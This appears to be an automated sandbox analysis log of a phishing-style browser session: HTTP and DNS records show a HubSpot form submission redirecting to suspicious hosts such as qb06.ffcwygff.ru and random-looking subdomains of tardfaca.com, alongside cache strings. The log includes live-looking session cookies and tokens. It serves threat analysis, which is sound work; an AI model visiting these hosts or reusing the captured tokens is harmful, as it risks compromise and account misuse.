gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=VBFhnnAmN0SQY1p7gf3tiCqXptW3uYSOTqHMVCk43g0-1734371131-1.0.1.1-iZGKyADPzJZYUsywtJlAkPGXNoLg3vv7PgGAwB9ErwGjF27z3ebw7S_xLvP7XJ6VCUXybcod7zrwFurlKVLVcA; _cfuvid=4VikfrI88zTQK4EPfkhv4kF3Fe.CI_9bBS.vlcLGm5A-1734371131612-0.0.1.1-604800000
Source: global traffic	HTTP traffic detected: GET /submissions/v3/public/submit/formsnext/multipart/48192692/096e77d0-b92b-4bcd-b505-f6de1cfdcbdb/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926 HTTP/1.1Host: forms.hsforms.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.2.1734371126848
Source: global traffic	HTTP traffic detected: GET /embed/v3/counters.gif?key=forms-embed-v3-SUBMISSION_SUCCESS&count=1 HTTP/1.1Host: forms-na1.hsforms.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.2.1734371126848
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=ERAuppkksvdnwQlZpF2K7ij37Wx5QZJP9apw5wgyAwMBJuhhWMe1hg2jtGyYmF6AwMp7g8S8pLw9j-ynvntI0bmZdjWWc_6uoA0scxKkcLdaRUE5kEYR0iP4fOnqllYQAVvCoSgfB5j4CmEQEhvcLv5gnUhd3noRGdIQ7mrNKaIleOlRduBngA3QYHCUBFo
Source: global traffic	HTTP traffic detected: GET /5G4YV/?submissionGuid=d4347c34-8d7e-47dc-b2f2-9d3c1431acde HTTP/1.1Host: qb06.ffcwygff.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IndReHZDbHBwR2pSa0lHNDZoKzNHL2c9PSIsInZhbHVlIjoia3JmMy9CWjd2MXNIZFMxbDIzS3M3U2hkbmlwdVNjOVQyNGZ1aXF6dnViVkd2ZjZzYW40T1R3M3hLL0hrVEtqMW51dkJRbFAwdzQzVFJwSFhlb00zT3IyNEttR0kzWlN3R0ZIdlFBOEQyQzVaTm1XYzlUTmVkTVJ2Tk5oNU1TNHkiLCJtYWMiOiJhY2U0YjMxM2VhOTE0YmVjMzA4MmZjNGFmYjkyOTk2ZDY5ODFkYmQ5OTFkMzlmZDM2ZTgzNjBmZjdiOTYyN2JmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImJLTHd3MXVwUjBkU1RoL1ZBREtUVHc9PSIsInZhbHVlIjoiUFUraEVUeHRzZ2JFM0MxQUxCN3plditLK1pwY1VMRFQwVmg1NGdLNHQxVGdNclVFN0k0TEdNem5aNEllY0RHRWdPWk5ycitNOHdDUWNnQjlaNVRvQWVKNXNPdENlRlRjTktnUGNXbE9HZjQ5YmYvbUREUDdBODdsdi84NXBJVFUiLCJtYWMiOiI2MzczNmE5N2ZhMGI2MzU0ODc4NjhmZDE5NGRkMTEyOThiY2UzYzZlOGRkYWEzMmM1Nzg0MDk3ZWMyODY0NDQ2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /embed/v3/counters.gif?key=forms-embed-v3-SUBMISSION_SUCCESS&count=1 HTTP/1.1Host: forms-na1.hsforms.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.2.1734371126848
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=HrYtdrM0ocqVOpFv6rS-xUWxklvWqyFMrnlWJ_IEN3XshI21pInUPRNGVfQjPDWDyGcm2gcnO5TbO7S9fFOW5s3y2A2oCjVQ_xaKqaUh36NiapAmgDZEDPNNTjm7rBTCsi2sIb8YMDp28Zox86S8eCnZNnQ6N839sY5nFdI4dI7HVzpNO0ltQEHY386SU8A
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=fgjIb4R2fa8kDJ6l_zC3D2Ecv8Bd7bxiygQlvbWodgQ5U6Gwww9rLhn-RcnMcscIkmhLIjW_43yd1m80FtmJxgOcobTIBE9c43Hkv7UCo6XqKFA7vBEVDUVaOY19qD9GTouWe2Vi2vmE-T6OTKV5RwuAUo8sgU0peT8vBWy48Y1Ft6OcmruzzdO6RtHJurg
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=koI35mH7rGxoL09vqEvlgaX1f7nPlsd6dwCLR36jzkQm_Ur3bUOOkuDmVbhZM8IDb--zN5JwZ7Ez4UVXRoFLzYjQ5NrYYFHMeVq0J24WzPftQMWzlAcOfxMXhlmANlWbimHq1RdfScN5opLnzeyi9QSVYGvww4LywJKn4M5C2zn2hMYtHedvedMpROVEqVs
Source: global traffic	HTTP traffic detected: GET /5f15081919fdf673994ab5fd/656e7a8eaa7a23c65aeb7444_Gmail-In-App-Screenshot-(1080p).webp HTTP/1.1Host: cdn.prod.website-files.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=uERKZEIntBvTcxz9ApikiFoU8AGeCgl0xbvQLXkZOJY-1734371146-1.0.1.1-G9a.2McFv3omd7tATyWMQPTk_MrxhRZJYwVNTg2Fvj.cCgSTgRl1SWgw3E1EL21zExPstIOQ1MiVQs_dn9ybuwRange: bytes=97556-97556If-Range: "428183bfb7c31d8c3bcc985dac004681"
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=HrYtdrM0ocqVOpFv6rS-xUWxklvWqyFMrnlWJ_IEN3XshI21pInUPRNGVfQjPDWDyGcm2gcnO5TbO7S9fFOW5s3y2A2oCjVQ_xaKqaUh36NiapAmgDZEDPNNTjm7rBTCsi2sIb8YMDp28Zox86S8eCnZNnQ6N839sY5nFdI4dI7HVzpNO0ltQEHY386SU8A
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=HrYtdrM0ocqVOpFv6rS-xUWxklvWqyFMrnlWJ_IEN3XshI21pInUPRNGVfQjPDWDyGcm2gcnO5TbO7S9fFOW5s3y2A2oCjVQ_xaKqaUh36NiapAmgDZEDPNNTjm7rBTCsi2sIb8YMDp28Zox86S8eCnZNnQ6N839sY5nFdI4dI7HVzpNO0ltQEHY386SU8A
Source: global traffic	HTTP traffic detected: GET /5f15081919fdf673994ab5fd/656e7a8eaa7a23c65aeb7444_Gmail-In-App-Screenshot-(1080p).webp HTTP/1.1Host: cdn.prod.website-files.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=uERKZEIntBvTcxz9ApikiFoU8AGeCgl0xbvQLXkZOJY-1734371146-1.0.1.1-G9a.2McFv3omd7tATyWMQPTk_MrxhRZJYwVNTg2Fvj.cCgSTgRl1SWgw3E1EL21zExPstIOQ1MiVQs_dn9ybuwRange: bytes=97556-106289If-Range: "428183bfb7c31d8c3bcc985dac004681"
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=HrYtdrM0ocqVOpFv6rS-xUWxklvWqyFMrnlWJ_IEN3XshI21pInUPRNGVfQjPDWDyGcm2gcnO5TbO7S9fFOW5s3y2A2oCjVQ_xaKqaUh36NiapAmgDZEDPNNTjm7rBTCsi2sIb8YMDp28Zox86S8eCnZNnQ6N839sY5nFdI4dI7HVzpNO0ltQEHY386SU8A
Source: global traffic	HTTP traffic detected: GET /14838110493951460639772zDuwQeQpDWANIGLPFGCHDRVKNQGYKXWUJMDPKOJKJUDETQNGDRBXOB HTTP/1.1Host: i224tbuai42cde1lzenjhimnqfypy0xmafnry7iya5e5kgoffk.tardfaca.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://qb06.ffcwygff.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://qb06.ffcwygff.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=HrYtdrM0ocqVOpFv6rS-xUWxklvWqyFMrnlWJ_IEN3XshI21pInUPRNGVfQjPDWDyGcm2gcnO5TbO7S9fFOW5s3y2A2oCjVQ_xaKqaUh36NiapAmgDZEDPNNTjm7rBTCsi2sIb8YMDp28Zox86S8eCnZNnQ6N839sY5nFdI4dI7HVzpNO0ltQEHY386SU8A
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=HrYtdrM0ocqVOpFv6rS-xUWxklvWqyFMrnlWJ_IEN3XshI21pInUPRNGVfQjPDWDyGcm2gcnO5TbO7S9fFOW5s3y2A2oCjVQ_xaKqaUh36NiapAmgDZEDPNNTjm7rBTCsi2sIb8YMDp28Zox86S8eCnZNnQ6N839sY5nFdI4dI7HVzpNO0ltQEHY386SU8A
Source: global traffic	HTTP traffic detected: GET /14838110493951460639772zDuwQeQpDWANIGLPFGCHDRVKNQGYKXWUJMDPKOJKJUDETQNGDRBXOB HTTP/1.1Host: i224tbuai42cde1lzenjhimnqfypy0xmafnry7iya5e5kgoffk.tardfaca.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=HrYtdrM0ocqVOpFv6rS-xUWxklvWqyFMrnlWJ_IEN3XshI21pInUPRNGVfQjPDWDyGcm2gcnO5TbO7S9fFOW5s3y2A2oCjVQ_xaKqaUh36NiapAmgDZEDPNNTjm7rBTCsi2sIb8YMDp28Zox86S8eCnZNnQ6N839sY5nFdI4dI7HVzpNO0ltQEHY386SU8A
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=HrYtdrM0ocqVOpFv6rS-xUWxklvWqyFMrnlWJ_IEN3XshI21pInUPRNGVfQjPDWDyGcm2gcnO5TbO7S9fFOW5s3y2A2oCjVQ_xaKqaUh36NiapAmgDZEDPNNTjm7rBTCsi2sIb8YMDp28Zox86S8eCnZNnQ6N839sY5nFdI4dI7HVzpNO0ltQEHY386SU8A
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=HrYtdrM0ocqVOpFv6rS-xUWxklvWqyFMrnlWJ_IEN3XshI21pInUPRNGVfQjPDWDyGcm2gcnO5TbO7S9fFOW5s3y2A2oCjVQ_xaKqaUh36NiapAmgDZEDPNNTjm7rBTCsi2sIb8YMDp28Zox86S8eCnZNnQ6N839sY5nFdI4dI7HVzpNO0ltQEHY386SU8A

Source: chromecache_289.17.dr	String found in binary or memory: ;function Br(){this.part="snippet,id,contentDetails,localizations,statistics";this.Lk=new Xq({serverUrl:"https://www.googleapis.com/youtube/v3",serviceName:"youtubeDataApi"})} equals www.youtube.com (Youtube)
Source: chromecache_289.17.dr	String found in binary or memory: ;var Qga=Ha(["//www.youtube.com/player_api"]),Rga=Ln(Qga),Cr=[],Sga=!1;function Dr(){if(!Sga){window.onYouTubeIframeAPIReady=Tga;var a=Zo("SCRIPT");tn(a,Rga);document.head.appendChild(a);Sga=!0}} equals www.youtube.com (Youtube)
Source: chromecache_289.17.dr	String found in binary or memory: ;var Ssa=Ha(["//www.youtube.com/player_api"]),uB=4/3,Tsa=16/9,vB={autoplay:1,cc_load_policy:1,controls:2,hl:"en",rel:0,playsinline:0};function wB(a){var b=a.Hb;var c=a.Xl===void 0?!1:a.Xl;a=a.playerVars===void 0?vB:a.playerVars;A.call(this,"sc.tailwind.shared.video.VideoPlayer");this.o=!1;this.ma=0;this.Hb=b;this.Xl=c;this.id=this.Hb.getId();this.playerVars=a;b=this.Hb.mediumThumbnail.width;c=this.Hb.mediumThumbnail.height;this.aspectRatio=b&&c?b/c===uB?uB:Tsa:uB;this.watch(this.Hb)} equals www.youtube.com (Youtube)
Source: chromecache_320.17.dr, chromecache_312.17.dr	String found in binary or memory: Cf=y(["https://sandbox.google.com/tools/feedback/"]),Df=y(["https://www.google.cn/tools/feedback/"]),Ef=y(["https://help.youtube.com/tools/feedback/"]),Ff=y(["https://asx-frontend-staging.corp.google.com/inapp/"]),Gf=y(["https://asx-frontend-staging.corp.google.com/tools/feedback/"]),Hf=y(["https://localhost.corp.google.com/inapp/"]),If=y(["https://localhost.proxy.googlers.com/inapp/"]),Jf=U(lf),Kf=[U(mf),U(nf)],Lf=[U(of),U(pf),U(qf),U(rf),U(sf),U(tf),U(uf),U(vf),U(wf),U(xf)],Mf=[U(yf),U(zf)],Nf= equals www.youtube.com (Youtube)
Source: chromecache_289.17.dr	String found in binary or memory: Va=Va.split("-")[0].toLowerCase();if(Qa===Va\|\|e.localizations&&e.localizations[a.ua])a.ma=!0;e="https://www.youtube.com/embed/"+encodeURIComponent(a.id);a.embedUrl=e}a.state=2;a.Ea(0);Bo("youtube_video_model/load/success");return Ra(c,0)}Sa(c);a.state=3;a.Ea(0);Bo("youtube_video_model/load/failure");Oa(c)})} equals www.youtube.com (Youtube)
Source: chromecache_289.17.dr	String found in binary or memory: b.open("GET","https://www.googleapis.com/youtube/v3/videos?part=snippet%2C+id&key=AIzaSyD-4tE5aKFZYIS_IrfpCDRsgQZbv5VCJZM&id="+a.ma);b.send()} equals www.youtube.com (Youtube)
Source: chromecache_289.17.dr	String found in binary or memory: function AB(a){if(io())z().rs==2?window.YT&&window.YT.Player?CB(a,a.o):(Cr.push(function(f){CB(this,f)}.bind(a,a.o)),Dr()):po("//www.youtube.com/embed/"+a.ma+"/?rel=0&cc_load_policy=1&autoplay=1&hl="+window.sc_pageModel.lang); equals www.youtube.com (Youtube)
Source: chromecache_278.17.dr, chromecache_310.17.dr, chromecache_337.17.dr, chromecache_362.17.dr	String found in binary or memory: return b}VD.F="internal.enableAutoEventOnTimer";var Vb=wa(["data-gtm-yt-inspected-"]),XD=["www.youtube.com","www.youtube-nocookie.com"],YD,ZD=!1; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: static.hsappstatic.net
Source: global traffic	DNS traffic detected: DNS query: js.hsforms.net
Source: global traffic	DNS traffic detected: DNS query: js.hs-scripts.com
Source: global traffic	DNS traffic detected: DNS query: forms.hsforms.com
Source: global traffic	DNS traffic detected: DNS query: js.hs-analytics.net
Source: global traffic	DNS traffic detected: DNS query: js.hs-banner.com
Source: global traffic	DNS traffic detected: DNS query: js.hscollectedforms.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: forms.hscollectedforms.net
Source: global traffic	DNS traffic detected: DNS query: track.hubspot.com
Source: global traffic	DNS traffic detected: DNS query: forms-na1.hsforms.com
Source: global traffic	DNS traffic detected: DNS query: 48192692.fs1.hubspotusercontent-na1.net
Source: global traffic	DNS traffic detected: DNS query: qb06.ffcwygff.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdn.prod.website-files.com
Source: global traffic	DNS traffic detected: DNS query: 5ze3joh4rxokxve3aleagvu3onlar5d45yqwj2dqasoi0hncjqgjm.ticurson.com
Source: global traffic	DNS traffic detected: DNS query: support.google.com
Source: global traffic	DNS traffic detected: DNS query: lh3.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: i224tbuai42cde1lzenjhimnqfypy0xmafnry7iya5e5kgoffk.tardfaca.com
Source: global traffic	DNS traffic detected: DNS query: translate.google.com

Source: unknown

HTTP traffic detected: POST /submissions/v3/public/submit/formsnext/multipart/48192692/096e77d0-b92b-4bcd-b505-f6de1cfdcbdb/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926 HTTP/1.1Host: forms.hsforms.comConnection: keep-aliveContent-Length: 2609sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/plain, */*Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKF3fGXBJmtXxerhosec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://share.hsforms.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 16 Dec 2024 17:45:41 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Age: 228Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5NYWLzRDuI80nlS2YUt7wvWcKj9npwTtL4vSZbECRoDtAsdQ%2F33Q4chrrK6cejR9N3xMEEWZ17JNA9jX6bAqGnzKHrejHug8oSLeB66J9Pau5tobx5VJV21iIfoRSA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1208&min_rtt=929&rtt_var=141&sent=288&recv=169&lost=0&retrans=2&sent_bytes=308207&recv_bytes=17328&delivery_rate=17126057&cwnd=257&unsent_bytes=0&cid=ce1e688969762f5e&ts=20381&x=0"CF-Cache-Status: HITServer: cloudflareCF-RAY: 8f307d10af0b0f5f-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1526&min_rtt=1522&rtt_var=579&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1947&delivery_rate=1874197&cwnd=234&unsent_bytes=0&cid=1ec39edbe882c1e4&ts=4462&x=0"

Source: 77EC63BDA74BD0D0E0426DC8F80085060.2.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: chromecache_286.17.dr, chromecache_246.17.dr	String found in binary or memory: http://hubs.ly/H0702_H0
Source: chromecache_320.17.dr, chromecache_312.17.dr	String found in binary or memory: http://localhost.corp.google.com/inapp/
Source: chromecache_320.17.dr, chromecache_312.17.dr	String found in binary or memory: http://localhost.proxy.googlers.com/inapp/
